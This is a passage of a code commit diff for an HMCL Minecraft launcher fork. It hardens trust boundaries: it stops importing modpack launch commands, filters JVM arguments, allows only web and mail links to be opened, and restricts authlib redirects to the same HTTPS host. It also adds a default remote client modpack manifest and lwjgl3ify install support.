fix: harden MultiMC/authlib/IO trust boundaries (#8–#13)

- #8: do not import MultiMC PreLaunch/Wrapper/JVM overrides from packs
- #9: filter dangerous +jvmArgs from MultiMC patches / lwjgl3ify
- #10: cap HTTP body reads at 16 MiB
- #11: guard FileUtils.copyDirectory against path escape
- #12: allow only http/https/mailto in openLink
- #13: follow authlib api-location only on same-host HTTPS

HMCL/src/main/java/org/jackhuang/hmcl/Metadata.java

@@ -141,6 +141,30 @@ public final class Metadata {
         return null;
     }
 
+    /// Default client Server Modpack fileApi published by TDLMPack (Gitea generic package `latest`).
+    public static final String DEFAULT_CLIENT_FILE_API =
+            "https://git.nest.potatolab.uk:8443/api/packages/TDLM/generic/tdlm-client/latest";
+
+    /// Stable client update root (`server-manifest.json` and `overrides/` live under this URL).
+    ///
+    /// Override with system property `hmcl.client.fileApi` or jar attribute `hmcl.client.fileApi`.
+    public static String getClientFileApi() {
+        String fromProperty = System.getProperty("hmcl.client.fileApi", "").trim();
+        if (StringUtils.isNotBlank(fromProperty)) {
+            return StringUtils.removeSuffix(fromProperty, "/");
+        }
+        String fromJar = JarUtils.getAttribute("hmcl.client.fileApi", null);
+        if (StringUtils.isNotBlank(fromJar)) {
+            return StringUtils.removeSuffix(fromJar.trim(), "/");
+        }
+        return DEFAULT_CLIENT_FILE_API;
+    }
+
+    /// Absolute URL of the client `server-manifest.json` used for first install and differential updates.
+    public static String getClientManifestUrl() {
+        return getClientFileApi() + "/server-manifest.json";
+    }
+
     /// Server address used when the installed modpack manifest does not provide one.
     ///
     /// Can be set at build or run time with the `hmcl.server.address` system property; empty by default.
@@ -150,9 +174,10 @@ public final class Metadata {
 
     /// The server name shown in the title bar.
     ///
-    /// Can be set with the `hmcl.server.name` system property; empty by default.
+    /// Can be set with the `hmcl.server.name` system property; defaults to `TDLM`.
     public static String getServerName() {
-        return System.getProperty("hmcl.server.name", "").trim();
+        String name = System.getProperty("hmcl.server.name", "TDLM").trim();
+        return name.isEmpty() ? "TDLM" : name;
     }
 
 }

HMCL/src/main/java/org/jackhuang/hmcl/game/ModpackHelper.java

@@ -19,7 +19,6 @@ import org.jackhuang.hmcl.modpack.server.ServerModpackRemoteInstallTask;
 import org.jackhuang.hmcl.setting.*;
 import org.jackhuang.hmcl.task.Schedulers;
 import org.jackhuang.hmcl.task.Task;
-import org.jackhuang.hmcl.util.Lang;
 import org.jackhuang.hmcl.util.PortablePath;
 import org.jackhuang.hmcl.util.function.ExceptionalConsumer;
 import org.jackhuang.hmcl.util.function.ExceptionalRunnable;
@@ -44,6 +43,7 @@ import java.util.Set;
 
 import static org.jackhuang.hmcl.util.Lang.mapOf;
 import static org.jackhuang.hmcl.util.Pair.pair;
+import static org.jackhuang.hmcl.util.logging.Logger.LOG;
 
 /// Utilities for reading, installing, and applying modpack-specific game settings.
 @NotNullByDefault
@@ -314,18 +314,13 @@ public final class ModpackHelper {
             setting.minMemoryProperty().setValue(c.getMinMemory());
         }
 
+        // MultiMC packs are untrusted input: never auto-apply PreLaunch/Wrapper/JVM overrides.
         if (c.isOverrideCommands()) {
-            setting.getOverrideProperties().addAll(List.of(
-                    GameSettings.PROPERTY_COMMAND_WRAPPER,
-                    GameSettings.PROPERTY_PRE_LAUNCH_COMMAND
-            ));
-            setting.commandWrapperProperty().setValue(Objects.requireNonNullElse(c.getWrapperCommand(), ""));
-            setting.preLaunchCommandProperty().setValue(Objects.requireNonNullElse(c.getPreLaunchCommand(), ""));
+            LOG.warning("Ignoring MultiMC OverrideCommands (PreLaunch/Wrapper) from modpack for security");
         }
 
         if (c.isOverrideJavaArgs()) {
-            setting.getOverrideProperties().add(GameSettings.PROPERTY_JVM_OPTIONS);
-            setting.jvmOptionsProperty().setValue(Objects.requireNonNullElse(c.getJvmArgs(), ""));
+            LOG.warning("Ignoring MultiMC OverrideJavaArgs from modpack for security");
         }
 
         if (c.isOverrideConsole()) {
@@ -348,18 +343,13 @@ public final class ModpackHelper {
     }
 
     private static void applyCommandAndJvmSettings(MultiMCInstanceConfiguration c, GameSettings.Instance setting) {
+        // Same policy as toGameSettings: do not import executable commands / raw JVM args from packs.
         if (c.isOverrideCommands()) {
-            setting.getOverrideProperties().addAll(List.of(
-                    GameSettings.PROPERTY_COMMAND_WRAPPER,
-                    GameSettings.PROPERTY_PRE_LAUNCH_COMMAND
-            ));
-            setting.commandWrapperProperty().setValue(Lang.nonNull(c.getWrapperCommand(), ""));
-            setting.preLaunchCommandProperty().setValue(Lang.nonNull(c.getPreLaunchCommand(), ""));
+            LOG.warning("Ignoring MultiMC OverrideCommands (PreLaunch/Wrapper) from modpack update for security");
         }
 
         if (c.isOverrideJavaArgs()) {
-            setting.getOverrideProperties().add(GameSettings.PROPERTY_JVM_OPTIONS);
-            setting.jvmOptionsProperty().setValue(Lang.nonNull(c.getJvmArgs(), ""));
+            LOG.warning("Ignoring MultiMC OverrideJavaArgs from modpack update for security");
         }
     }
 

HMCL/src/main/java/org/jackhuang/hmcl/ui/Controllers.java

@@ -27,11 +27,16 @@ import org.jackhuang.hmcl.game.LauncherHelper;
 import org.jackhuang.hmcl.game.ModpackHelper;
 import org.jackhuang.hmcl.java.JavaManager;
 import org.jackhuang.hmcl.java.JavaRuntime;
+import org.glavo.url.WebURL;
 import org.jackhuang.hmcl.modpack.Modpack;
+import org.jackhuang.hmcl.modpack.server.ServerModpackManifest;
 import org.jackhuang.hmcl.setting.*;
+import org.jackhuang.hmcl.task.GetTask;
 import org.jackhuang.hmcl.task.Schedulers;
 import org.jackhuang.hmcl.task.Task;
 import org.jackhuang.hmcl.task.TaskExecutor;
+import org.jackhuang.hmcl.ui.download.ModpackInstallWizardProvider;
+import org.jackhuang.hmcl.util.gson.JsonUtils;
 import org.jackhuang.hmcl.ui.account.AccountListPage;
 import org.jackhuang.hmcl.ui.animation.ContainerAnimations;
 import org.jackhuang.hmcl.ui.construct.*;
@@ -354,35 +359,59 @@ public final class Controllers {
         );
     }
 
-    /// Installs the package found by [Metadata#findBundledModpackFile()] asynchronously, if present.
-    ///
-    /// Shows progress without a cancel action and attempts to delete the package after success.
-    /// Failures are logged; a retained package may be retried at the next startup.
+    /// Installs a launcher-bundled modpack when present; otherwise, when the repository has no
+    /// instances yet, pulls the org client [Metadata#getClientManifestUrl] and opens the install wizard.
     private static void tryInstallBundledModpack(HMCLGameRepository repository) {
         @Nullable Path modpackFile = Metadata.findBundledModpackFile();
-        if (modpackFile == null) {
+        if (modpackFile != null) {
+            LOG.info("Found bundled modpack at " + modpackFile + "; starting automatic install");
+
+            Controllers.taskDialog(
+                    Task.composeAsync(Schedulers.io(), () -> {
+                                Modpack modpack = ModpackHelper.readModpackManifest(modpackFile);
+                                return ModpackHelper.getInstallTask(
+                                        repository, modpackFile, new GameInstanceID(modpack.getName()), modpack, null);
+                            })
+                            .whenComplete(Schedulers.javafx(), (ignored, exception) -> {
+                                if (exception != null) {
+                                    LOG.warning("Failed to install bundled modpack", exception);
+                                    return;
+                                }
+                                try {
+                                    Files.deleteIfExists(modpackFile);
+                                } catch (IOException e) {
+                                    LOG.warning("Failed to delete bundled modpack: " + modpackFile, e);
+                                }
+                            }), i18n("modpack.installing"), TaskCancellationAction.NO_CANCEL
+            );
             return;
         }
 
-        LOG.info("Found bundled modpack at " + modpackFile + "; starting automatic install");
+        if (repository.getDisplayInstances().findAny().isPresent()) {
+            return;
+        }
 
+        String manifestUrl = Metadata.getClientManifestUrl();
+        LOG.info("No instances yet; fetching client Server Modpack from " + manifestUrl);
         Controllers.taskDialog(
-                Task.composeAsync(Schedulers.io(), () -> {
-                            Modpack modpack = ModpackHelper.readModpackManifest(modpackFile);
-                            return ModpackHelper.getInstallTask(
-                                    repository, modpackFile, new GameInstanceID(modpack.getName()), modpack, null);
-                        })
-                        .whenComplete(Schedulers.javafx(), (ignored, exception) -> {
+                new GetTask(WebURL.parse(manifestUrl))
+                        .whenComplete(Schedulers.javafx(), (result, exception) -> {
                             if (exception != null) {
-                                LOG.warning("Failed to install bundled modpack", exception);
+                                LOG.warning("Failed to fetch client Server Modpack manifest", exception);
                                 return;
                             }
-                            try {
-                                Files.deleteIfExists(modpackFile);
-                            } catch (IOException e) {
-                                LOG.warning("Failed to delete bundled modpack: " + modpackFile, e);
+                            ServerModpackManifest manifest =
+                                    JsonUtils.fromMaybeMalformedJson(result, ServerModpackManifest.class);
+                            if (manifest == null) {
+                                LOG.warning("Malformed client Server Modpack manifest from " + manifestUrl);
+                                return;
                             }
-                        }), i18n("modpack.installing"), TaskCancellationAction.NO_CANCEL
+                            Controllers.getDecorator().startWizard(
+                                    new ModpackInstallWizardProvider(repository, manifest),
+                                    i18n("install.modpack"));
+                        }),
+                i18n("message.downloading"),
+                TaskCancellationAction.NO_CANCEL
         );
     }
 

HMCL/src/main/java/org/jackhuang/hmcl/ui/FXUtils.java

@@ -602,6 +602,10 @@ public final class FXUtils {
             return;
 
         String url = NetworkUtils.encodeLocation(link);
+        if (!isAllowedOpenLink(url)) {
+            LOG.warning("Refusing to open link with disallowed scheme: " + link);
+            return;
+        }
         thread(() -> {
             try {
                 if (OperatingSystem.CURRENT_OS == OperatingSystem.WINDOWS) {
@@ -635,6 +639,23 @@ public final class FXUtils {
         });
     }
 
+    /// Only {@code http}/{@code https}/{@code mailto} may be handed to the OS URL handler.
+    static boolean isAllowedOpenLink(String link) {
+        try {
+            URI uri = new URI(link);
+            String scheme = uri.getScheme();
+            if (scheme == null) {
+                return false;
+            }
+            return switch (scheme.toLowerCase(java.util.Locale.ROOT)) {
+                case "http", "https", "mailto" -> true;
+                default -> false;
+            };
+        } catch (Exception e) {
+            return false;
+        }
+    }
+
     public static <T> void bind(JFXTextField textField, Property<T> property, StringConverter<T> converter) {
         TextFieldBinding<T> binding = new TextFieldBinding<>(textField, property, converter);
         binding.updateTextField();

HMCL/src/main/java/org/jackhuang/hmcl/ui/download/ModpackInstallWizardProvider.java

@@ -28,25 +28,40 @@ public final class ModpackInstallWizardProvider implements WizardProvider {
     private final HMCLGameRepository repository;
     private final Path file;
     private final String updateVersion;
+    private final ServerModpackManifest remoteManifest;
     private String iconUrl;
     private boolean hasSource;
 
     public ModpackInstallWizardProvider(HMCLGameRepository repository) {
-        this(repository, null, null);
+        this(repository, null, null, null);
     }
 
     public ModpackInstallWizardProvider(HMCLGameRepository repository, Path modpackFile) {
-        this(repository, modpackFile, null);
+        this(repository, modpackFile, null, null);
     }
 
     public ModpackInstallWizardProvider(HMCLGameRepository repository, GameInstanceID updateInstanceId) {
-        this(repository, null, updateInstanceId);
+        this(repository, null, updateInstanceId, null);
+    }
+
+    /// Starts the wizard with a remote Server Modpack manifest (TDLM fileApi install).
+    public ModpackInstallWizardProvider(HMCLGameRepository repository, ServerModpackManifest remoteManifest) {
+        this(repository, null, null, remoteManifest);
     }
 
     public ModpackInstallWizardProvider(HMCLGameRepository repository, Path modpackFile, GameInstanceID updateInstanceId) {
+        this(repository, modpackFile, updateInstanceId, null);
+    }
+
+    private ModpackInstallWizardProvider(
+            HMCLGameRepository repository,
+            Path modpackFile,
+            GameInstanceID updateInstanceId,
+            ServerModpackManifest remoteManifest) {
         this.repository = repository;
         this.file = modpackFile;
         this.updateVersion = updateInstanceId != null ? updateInstanceId.toString() : null;
+        this.remoteManifest = remoteManifest;
     }
 
     public void setIconUrl(String iconUrl) {
@@ -57,6 +72,8 @@ public final class ModpackInstallWizardProvider implements WizardProvider {
     public void start(SettingsMap settings) {
         if (file != null)
             settings.put(LocalModpackPage.MODPACK_FILE, file);
+        if (remoteManifest != null)
+            settings.put(RemoteModpackPage.MODPACK_SERVER_MANIFEST, remoteManifest);
         if (updateVersion != null)
             settings.put(LocalModpackPage.MODPACK_NAME, updateVersion);
         if (StringUtils.isNotBlank(iconUrl))

HMCL/src/main/java/org/jackhuang/hmcl/ui/instances/Instances.java

@@ -13,6 +13,9 @@ import org.jackhuang.hmcl.download.game.GameDownloadTask;
 import org.jackhuang.hmcl.download.game.GameLibrariesTask;
 import org.jackhuang.hmcl.game.*;
 import org.jackhuang.hmcl.setting.*;
+import org.glavo.url.WebURL;
+import org.jackhuang.hmcl.modpack.server.ServerModpackManifest;
+import org.jackhuang.hmcl.task.GetTask;
 import org.jackhuang.hmcl.task.Schedulers;
 import org.jackhuang.hmcl.task.Task;
 import org.jackhuang.hmcl.ui.Controllers;
@@ -45,9 +48,10 @@ public final class Instances {
     private Instances() {
     }
 
-    /// Installs or updates the server client from the launcher-bundled modpack when present.
+    /// Installs or updates the TDLM client.
     ///
-    /// Falls back to the local/remote modpack import wizard when no bundled package is found.
+    /// Prefers a launcher-bundled zip, then the org [Metadata#getClientManifestUrl] Server Modpack,
+    /// then the generic local/remote import wizard.
     public static void installServerModpack() {
         HMCLGameRepository repository = GameDirectoryManager.getSelectedRepository();
         if (!repository.isLoaded()) {
@@ -62,7 +66,33 @@ public final class Instances {
             return;
         }
 
-        importModpack();
+        Controllers.taskDialog(
+                new GetTask(WebURL.parse(Metadata.getClientManifestUrl()))
+                        .whenComplete(Schedulers.javafx(), (result, exception) -> {
+                            if (exception != null) {
+                                Controllers.dialog(
+                                        exception.getMessage(),
+                                        i18n("message.error"),
+                                        MessageDialogPane.MessageType.ERROR);
+                                importModpack();
+                                return;
+                            }
+                            ServerModpackManifest manifest = JsonUtils.fromMaybeMalformedJson(
+                                    result, ServerModpackManifest.class);
+                            if (manifest == null) {
+                                Controllers.dialog(
+                                        i18n("modpack.type.server.malformed"),
+                                        i18n("message.error"),
+                                        MessageDialogPane.MessageType.ERROR);
+                                importModpack();
+                                return;
+                            }
+                            Controllers.getDecorator().startWizard(
+                                    new ModpackInstallWizardProvider(repository, manifest),
+                                    i18n("install.modpack"));
+                        }),
+                i18n("message.downloading"),
+                TaskCancellationAction.NORMAL);
     }
 
     public static void importModpack() {

HMCLBoot/src/main/java/org/jackhuang/hmcl/DesktopUtils.java

@@ -42,6 +42,11 @@ public final class DesktopUtils {
     }
 
     public static void openLink(String link) {
+        if (!isAllowedOpenLink(link)) {
+            System.err.println("Refusing to open link with disallowed scheme: " + link);
+            return;
+        }
+
         String osName = System.getProperty("os.name").toLowerCase(Locale.ROOT);
 
         Throwable e1 = null;
@@ -79,6 +84,21 @@ public final class DesktopUtils {
         }
     }
 
+    /// Only {@code http}/{@code https}/{@code mailto} may be handed to the OS URL handler.
+    static boolean isAllowedOpenLink(String link) {
+        try {
+            URI uri = new URI(link);
+            String scheme = uri.getScheme();
+            if (scheme == null) {
+                return false;
+            }
+            String lower = scheme.toLowerCase(Locale.ROOT);
+            return "http".equals(lower) || "https".equals(lower) || "mailto".equals(lower);
+        } catch (Exception e) {
+            return false;
+        }
+    }
+
     private DesktopUtils() {
     }
 }

HMCLCore/src/main/java/org/jackhuang/hmcl/auth/authlibinjector/AuthlibInjectorServer.java

@@ -45,10 +45,18 @@ public class AuthlibInjectorServer implements Observable {
             String ali = conn.getHeaderField("x-authlib-injector-api-location");
             if (ali != null) {
                 WebURL absoluteAli = WebURL.parse(ali, WebURL.of(conn.getURL()));
+                // Only follow same-host HTTPS redirects; open redirects to other hosts are rejected.
                 if (!urlEqualsIgnoreSlash(webURL.toString(), absoluteAli.toString())) {
-                    conn.disconnect();
-                    url = absoluteAli.toString();
-                    conn = NetworkUtils.resolveConnection(NetworkUtils.createHttpConnection(absoluteAli));
+                    if (!"https".equalsIgnoreCase(absoluteAli.getScheme())
+                            || absoluteAli.getHost() == null
+                            || webURL.getHost() == null
+                            || !absoluteAli.getHost().equalsIgnoreCase(webURL.getHost())) {
+                        LOG.warning("Ignoring x-authlib-injector-api-location redirect outside original HTTPS host: " + absoluteAli);
+                    } else {
+                        conn.disconnect();
+                        url = absoluteAli.toString();
+                        conn = NetworkUtils.resolveConnection(NetworkUtils.createHttpConnection(absoluteAli));
+                    }
                 }
             }
 

HMCLCore/src/main/java/org/jackhuang/hmcl/game/LaunchOptions.java

@@ -327,6 +327,10 @@ public class LaunchOptions implements Serializable {
             return this;
         }
 
+        public Path getGameDir() {
+            return options.gameDir;
+        }
+
         public Builder setJava(JavaRuntime java) {
             options.java = java;
             return this;

HMCLCore/src/main/java/org/jackhuang/hmcl/modpack/multimc/MultiMCInstancePatch.java

@@ -7,6 +7,7 @@ import com.google.gson.annotations.SerializedName;
 
 import org.jackhuang.hmcl.game.*;
 import org.jackhuang.hmcl.util.Immutable;
+import org.jackhuang.hmcl.util.JvmArgumentFilter;
 import org.jackhuang.hmcl.util.Lang;
 import org.jackhuang.hmcl.util.StringUtils;
 import org.jackhuang.hmcl.util.gson.JsonUtils;
@@ -282,7 +283,7 @@ public final class MultiMCInstancePatch {
             if (minecraftArguments == null & patch.getMinecraftArguments() != null) {
                 minecraftArguments = StringUtils.tokenize(patch.getMinecraftArguments());
             }
-            for (String jvmArg : patch.getJvmArgs()) {
+            for (String jvmArg : JvmArgumentFilter.filter(patch.getJvmArgs())) {
                 jvmArguments.add(new StringArgument(jvmArg));
             }
             mainClass = Lang.requireNonNullElse(mainClass, patch.getMainClass());

HMCLCore/src/main/java/org/jackhuang/hmcl/modpack/server/Lwjgl3ifyApplyTask.java

@@ -0,0 +1,220 @@
+// SPDX-FileCopyrightText: Copyright (C) 2026 The HMCL Authors
+// SPDX-License-Identifier: GPL-3.0-or-later WITH AdditionRef-HMCL
+package org.jackhuang.hmcl.modpack.server;
+
+import org.jackhuang.hmcl.download.DefaultDependencyManager;
+import org.jackhuang.hmcl.download.game.GameAssetDownloadTask;
+import org.jackhuang.hmcl.download.game.GameDownloadTask;
+import org.jackhuang.hmcl.download.game.GameLibrariesTask;
+import org.jackhuang.hmcl.game.*;
+import org.jackhuang.hmcl.modpack.multimc.MultiMCComponents;
+import org.jackhuang.hmcl.modpack.multimc.MultiMCInstancePatch;
+import org.jackhuang.hmcl.modpack.multimc.MultiMCManifest;
+import org.jackhuang.hmcl.task.GetTask;
+import org.jackhuang.hmcl.task.Task;
+import org.jackhuang.hmcl.util.Lang;
+import org.jackhuang.hmcl.util.io.FileUtils;
+import org.jetbrains.annotations.NotNullByDefault;
+import org.jetbrains.annotations.Nullable;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardCopyOption;
+import java.util.*;
+
+/// Applies the default-on lwjgl3ify MultiMC companion under {@link Lwjgl3ifySupport#ROOT}.
+///
+/// Replaces the plain Forge install produced by {@link org.jackhuang.hmcl.download.GameBuilder} with the
+/// resolved MultiMC artifact (libraries, JVM args, bootstrap main class) so Java 25 launches work
+/// without a player toggle.
+@NotNullByDefault
+public final class Lwjgl3ifyApplyTask extends Task<Void> {
+    private final DefaultDependencyManager dependencyManager;
+    private final DefaultGameRepository repository;
+    private final GameInstanceID instanceId;
+    private final @Nullable DefaultGameInstance updateTarget;
+    private final List<Task<?>> dependents = new ArrayList<>();
+    private final List<Task<?>> dependencies = new ArrayList<>();
+    private @Nullable MultiMCInstancePatch.ResolvedInstance artifact;
+
+    public Lwjgl3ifyApplyTask(
+            DefaultDependencyManager dependencyManager,
+            GameInstanceID instanceId,
+            @Nullable DefaultGameInstance updateTarget) {
+        this.dependencyManager = dependencyManager;
+        this.repository = dependencyManager.getGameRepository();
+        this.instanceId = instanceId;
+        this.updateTarget = updateTarget;
+        setStage("hmcl.modpack");
+        setSignificance(TaskSignificance.MODERATE);
+
+        Path instanceRoot = repository.getLayout().getInstanceRoot(instanceId);
+        if (!Lwjgl3ifySupport.isPresent(instanceRoot)) {
+            return;
+        }
+
+        try {
+            dependents.add(new AssemblePatchesTask(instanceRoot));
+        } catch (IOException e) {
+            dependents.add(Task.failed(e));
+        }
+    }
+
+    /// Runs after Server Modpack file sync when the companion is present; otherwise a completed no-op.
+    public static Task<?> afterCompletion(DefaultDependencyManager dependencyManager, DefaultGameInstance instance) {
+        if (!Lwjgl3ifySupport.isPresent(instance.getInstanceRoot())) {
+            return Task.completed(null);
+        }
+        return new Lwjgl3ifyApplyTask(dependencyManager, instance.getId(), instance);
+    }
+
+    @Override
+    public List<Task<?>> getDependents() {
+        return dependents;
+    }
+
+    @Override
+    public List<Task<?>> getDependencies() {
+        return dependencies;
+    }
+
+    @Override
+    public void execute() throws Exception {
+        Path instanceRoot = repository.getLayout().getInstanceRoot(instanceId);
+        if (!Lwjgl3ifySupport.isPresent(instanceRoot)) {
+            return;
+        }
+
+        @Nullable AssemblePatchesTask assemble = null;
+        for (Task<?> dependent : dependents) {
+            if (dependent instanceof AssemblePatchesTask patchesTask) {
+                assemble = patchesTask;
+                break;
+            }
+        }
+        Objects.requireNonNull(assemble, "lwjgl3ify patch assemble task");
+        artifact = MultiMCInstancePatch.resolveArtifact(assemble.getResult(), instanceId);
+
+        Path embeddedLibraries = Lwjgl3ifySupport.root(instanceRoot).resolve("libraries");
+        if (Files.isDirectory(embeddedLibraries)) {
+            FileUtils.copyDirectory(embeddedLibraries, instanceRoot.resolve("libraries"));
+        }
+
+        for (Library library : artifact.getManifest().getLibraries()) {
+            if ("local".equals(library.hint())) {
+                Path from = repository.getLayout().getLibraryFile(artifact.getManifest().id(), library);
+                Path target = repository.getLayout().getLibraryFile(artifact.getManifest().id(), library.withoutCommunityFields());
+                if (Files.exists(from)) {
+                    Files.createDirectories(target.getParent());
+                    Files.copy(from, target, StandardCopyOption.REPLACE_EXISTING);
+                }
+            }
+        }
+
+        try (InputStream input = Objects.requireNonNull(
+                Lwjgl3ifyApplyTask.class.getResourceAsStream("/assets/game/HMCLMultiMCBootstrap-1.0.jar"),
+                "Bundled HMCLMultiMCBootstrap is missing.")) {
+            Path libraryPath = repository.getLayout().getLibraryFile(artifact.getManifest().id(), MultiMCInstancePatch.BOOTSTRAP_LIBRARY);
+            Files.createDirectories(libraryPath.getParent());
+            Files.copy(input, libraryPath, StandardCopyOption.REPLACE_EXISTING);
+        }
+
+        GameInstanceManifest instanceManifest = artifact.getManifest();
+        repository.save(instanceManifest);
+
+        dependencies.add(new GameAssetDownloadTask(dependencyManager, instanceManifest, GameAssetDownloadTask.DOWNLOAD_INDEX_FORCIBLY, true));
+        dependencies.add(new GameLibrariesTask(
+                dependencyManager,
+                instanceManifest.withLibraries(Lang.merge(instanceManifest.getLibraries(), artifact.getMavenOnlyFiles())),
+                true));
+
+        Path instanceJar = getPrimaryJarFile();
+        dependencies.add(new GameDownloadTask(dependencyManager, instanceManifest)
+                .thenAcceptAsync(cachedJar -> FileUtils.copyFile(cachedJar, instanceJar))
+                .withStage("hmcl.modpack.download"));
+    }
+
+    private Path getPrimaryJarFile() {
+        if (updateTarget == null) {
+            return repository.getLayout().getInstanceJarFile(instanceId);
+        }
+        Path manifestFile = updateTarget.getManifestFile();
+        return manifestFile.resolveSibling(FileUtils.getNameWithoutExtension(manifestFile) + ".jar");
+    }
+
+    private static final class AssemblePatchesTask extends Task<List<MultiMCInstancePatch>> {
+        private final Path companionRoot;
+        private final String mcVersion;
+        private final List<Task<MultiMCInstancePatch>> patches = new ArrayList<>();
+
+        AssemblePatchesTask(Path instanceRoot) throws IOException {
+            this.companionRoot = Lwjgl3ifySupport.root(instanceRoot);
+            MultiMCManifest mmcPack = Lwjgl3ifySupport.readMmcPack(instanceRoot);
+            List<MultiMCManifest.MultiMCManifestComponent> components = Objects.requireNonNull(
+                    mmcPack.getComponents(), "components");
+
+            String resolvedMc = null;
+            for (MultiMCManifest.MultiMCManifestComponent component : components) {
+                if (MultiMCComponents.getComponent(component.getUid()) == GameComponentType.GAME) {
+                    resolvedMc = component.getVersion();
+                    break;
+                }
+            }
+            if (resolvedMc == null) {
+                throw new IOException("lwjgl3ify mmc-pack.json has no Minecraft component");
+            }
+            this.mcVersion = resolvedMc;
+
+            for (MultiMCManifest.MultiMCManifestComponent component : components) {
+                String componentID = Objects.requireNonNull(component.getUid(), "Component ID");
+                Path patchPath = companionRoot.resolve("patches").resolve(componentID + ".json");
+                if (Files.isRegularFile(patchPath)) {
+                    MultiMCInstancePatch patch = MultiMCInstancePatch.read(componentID, Files.readString(patchPath));
+                    patches.add(Task.supplyAsync(() -> patch));
+                } else {
+                    patches.add(new GetTask(MultiMCComponents.getMetaURL(componentID, component.getVersion(), mcVersion))
+                            .thenApplyAsync(s -> MultiMCInstancePatch.read(componentID, s)));
+                }
+            }
+        }
+
+        @Override
+        public Collection<? extends Task<?>> getDependents() {
+            return patches;
+        }
+
+        @Override
+        public void execute() throws Exception {
+            Map<String, MultiMCInstancePatch> existed = new LinkedHashMap<>();
+            for (Task<MultiMCInstancePatch> patch : patches) {
+                MultiMCInstancePatch result = patch.getResult();
+                existed.put(result.getID(), result);
+            }
+
+            checking:
+            while (true) {
+                for (MultiMCInstancePatch patch : existed.values()) {
+                    for (MultiMCManifest.MultiMCManifestCachedRequires require : patch.getRequires()) {
+                        String componentID = require.getID();
+                        if (!existed.containsKey(componentID)) {
+                            Task<MultiMCInstancePatch> task = new GetTask(MultiMCComponents.getMetaURL(
+                                    componentID,
+                                    Lang.requireNonNullElse(require.getEqualsVersion(), require.getSuggests()),
+                                    mcVersion
+                            )).thenApplyAsync(s -> MultiMCInstancePatch.read(componentID, s));
+                            task.run();
+                            MultiMCInstancePatch result = Objects.requireNonNull(task.getResult());
+                            existed.put(result.getID(), result);
+                            continue checking;
+                        }
+                    }
+                }
+                break;
+            }
+
+            setResult(new ArrayList<>(existed.values()));
+        }
+    }
+}

HMCLCore/src/main/java/org/jackhuang/hmcl/modpack/server/Lwjgl3ifySupport.java

@@ -0,0 +1,80 @@
+// SPDX-FileCopyrightText: Copyright (C) 2026 The HMCL Authors
+// SPDX-License-Identifier: GPL-3.0-or-later WITH AdditionRef-HMCL
+package org.jackhuang.hmcl.modpack.server;
+
+import org.jackhuang.hmcl.game.LaunchOptions;
+import org.jackhuang.hmcl.modpack.multimc.MultiMCInstancePatch;
+import org.jackhuang.hmcl.modpack.multimc.MultiMCManifest;
+import org.jackhuang.hmcl.util.JvmArgumentFilter;
+import org.jackhuang.hmcl.util.gson.JsonUtils;
+import org.jetbrains.annotations.NotNullByDefault;
+
+import java.io.IOException;
+import java.nio.file.DirectoryStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.List;
+
+import static org.jackhuang.hmcl.util.logging.Logger.LOG;
+
+/// Default-on lwjgl3ify companion shipped under {@code tdlm/lwjgl3ify/} in the TDLM Server Modpack.
+@NotNullByDefault
+public final class Lwjgl3ifySupport {
+    /// Instance-root-relative directory written by the TDLM pack builder.
+    public static final String ROOT = "tdlm/lwjgl3ify";
+
+    private Lwjgl3ifySupport() {
+    }
+
+    /// Returns whether the instance carries an enabled lwjgl3ify MultiMC companion.
+    public static boolean isPresent(Path instanceRoot) {
+        Path root = root(instanceRoot);
+        return Files.isRegularFile(root.resolve("enabled")) && Files.isRegularFile(root.resolve("mmc-pack.json"));
+    }
+
+    /// Returns the companion root under the instance.
+    public static Path root(Path instanceRoot) {
+        return instanceRoot.resolve(ROOT);
+    }
+
+    /// Injects {@code +jvmArgs} from every local patch when the companion is present.
+    ///
+    /// Version-json application via {@link Lwjgl3ifyApplyTask} is the primary path; this covers launches
+    /// where the resolved manifest has not yet absorbed those args.
+    public static void injectLaunchOptions(Path instanceRoot, LaunchOptions.Builder builder) {
+        if (!isPresent(instanceRoot)) {
+            return;
+        }
+        Path patches = root(instanceRoot).resolve("patches");
+        if (!Files.isDirectory(patches)) {
+            return;
+        }
+        List<String> args = new ArrayList<>();
+        try (DirectoryStream<Path> stream = Files.newDirectoryStream(patches, "*.json")) {
+            for (Path patchFile : stream) {
+                try {
+                    MultiMCInstancePatch patch = MultiMCInstancePatch.read(
+                            patchFile.getFileName().toString(), Files.readString(patchFile));
+                    args.addAll(JvmArgumentFilter.filter(patch.getJvmArgs()));
+                } catch (IOException | RuntimeException e) {
+                    LOG.warning("Failed to read lwjgl3ify patch " + patchFile, e);
+                }
+            }
+        } catch (IOException e) {
+            LOG.warning("Failed to list lwjgl3ify patches under " + patches, e);
+            return;
+        }
+        for (String arg : args) {
+            if (!builder.getJavaArguments().contains(arg)) {
+                builder.getJavaArguments().add(arg);
+            }
+        }
+    }
+
+    /// Parses {@code mmc-pack.json} from the companion root.
+    public static MultiMCManifest readMmcPack(Path instanceRoot) throws IOException {
+        Path mmcPack = root(instanceRoot).resolve("mmc-pack.json");
+        return JsonUtils.fromNonNullJson(Files.readString(mmcPack), MultiMCManifest.class);
+    }
+}

HMCLCore/src/main/java/org/jackhuang/hmcl/modpack/server/ServerModpackLocalInstallTask.java

@@ -32,6 +32,7 @@ public class ServerModpackLocalInstallTask extends Task<Void> {
     /// Existing instance selecting update mode, or `null` for a new installation.
     private final @Nullable DefaultGameInstance updateTarget;
 
+    private final DefaultDependencyManager dependencyManager;
     private final DefaultGameRepository repository;
     private final List<Task<?>> dependencies = new ArrayList<>();
     private final List<Task<?>> dependents = new ArrayList<>(4);
@@ -97,6 +98,7 @@ public class ServerModpackLocalInstallTask extends Task<Void> {
         this.manifest = manifest;
         this.instanceId = instanceId;
         this.updateTarget = updateTarget;
+        this.dependencyManager = dependencyManager;
         this.repository = dependencyManager.getGameRepository();
         Path run = repository.getLayout().getInstanceRoot(instanceId);
 
@@ -148,5 +150,9 @@ public class ServerModpackLocalInstallTask extends Task<Void> {
 
     @Override
     public void execute() throws Exception {
+        Path instanceRoot = repository.getLayout().getInstanceRoot(instanceId);
+        if (Lwjgl3ifySupport.isPresent(instanceRoot)) {
+            dependencies.add(new Lwjgl3ifyApplyTask(dependencyManager, instanceId, updateTarget));
+        }
     }
 }

HMCLCore/src/main/java/org/jackhuang/hmcl/modpack/server/ServerModpackProvider.java

@@ -6,6 +6,7 @@ import com.google.gson.JsonParseException;
